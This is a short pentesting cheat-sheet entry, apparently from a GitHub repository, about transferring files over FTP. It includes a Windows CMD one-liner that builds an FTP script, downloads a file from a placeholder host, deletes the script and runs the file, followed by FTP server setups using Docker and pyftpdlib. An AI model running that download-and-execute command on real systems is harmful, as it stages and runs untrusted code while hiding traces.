-
Notifications
You must be signed in to change notification settings - Fork 7
/
ftp
20 lines (16 loc) · 574 Bytes
/
ftp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
tags: [ tool ]
---
# Create a text file containing all FTP detail to download a file using Windows CMD prompt and execute it
echo open <IP> 21 > ftp.txt & echo USER anonymous >> ftp.txt & echo anonymous >> ftp.txt & echo bin >> ftp.txt & echo GET <File> >> ftp.txt & echo bye >> ftp.txt & ftp -v -n -s:ftp.txt & del ftp.txt & <File>
# Start a FTP Server
# Using an Alias
Alias -> ftpsvr
# Using Docker
sudo docker run --rm -it -v `pwd`:/data -p21:21 ftp
# Dockerfile
FROM python:2.7.18
RUN pip install pyftpdlib
EXPOSE 21
WORKDIR /data
CMD python -m pyftpdlib -p 21